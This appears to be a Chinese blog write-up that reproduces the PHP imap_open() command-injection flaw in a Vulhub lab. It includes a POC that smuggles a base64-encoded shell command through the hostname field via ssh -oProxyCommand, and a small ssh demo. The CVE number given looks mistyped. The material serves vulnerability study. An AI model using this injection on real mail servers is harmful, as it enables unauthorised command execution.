参考文献:https://www.anquanke.com/post/id/167292
安装imap模块
环境:ubuntu16.04,php5.6.381
apt-get install php-imap
imap_open()语法
1 | imap_open(string $mailbox , string $username , string $password [, int $options = 0 [, int $n_retries = 0 [, array $params = NULL ]]]) |
mailbox参数的值由
服务器名
和服务器上的mailbox文件路径
所组成,INBOX代表的是当前用户的个人邮箱
。1
$mbox = imap_open ("{localhost:993/PROTOCOL/FLAG}INBOX", "user_id", "password");
在括号内的字符串中,有
服务器名称(或者IP地址)
、端口号
以及协议名称
,标志
。用户可以在协议名后设置(第3个参数)。php imap扩展
用于在PHP中执行邮件收发操作。其imap_open
函数会调用rsh
来连接远程shell,而debian/ubuntu
中默认使用ssh来代替rsh的功能(也就是说,在debian系列系统中,执行rsh命令实际执行的是ssh命令)。
因为ssh命令中可以通过设置-oProxyCommand=
来调用第三方命令,通过注入这个参数,最终将导致命令执行漏洞。
复现CVE-2018-19158
1 | /vulhub/php/CVE-2018-19158# docker-compose up -d |
- POC
1
hostname=x+-oProxyCommand%3decho%09ZWNobyAnMTIzNDU2Nzg5MCc%2bL3RtcC90ZXN0MDAwMQo%3d|base64%09-d|sh}&username=11&password=11
-oProxyCommand参数
SSH命令中可以使用-o
参数来设置连接期间可用的各种选项。在建立SSH连接之前,可以设置ProxyCommand
参数:1
ssh -oProxyCommand="touch tmp.txt" localhost
当我们执行这条命令时,可以发现即便我们没有建立与localhost的SSH连接,也会创建tmp.txt文件。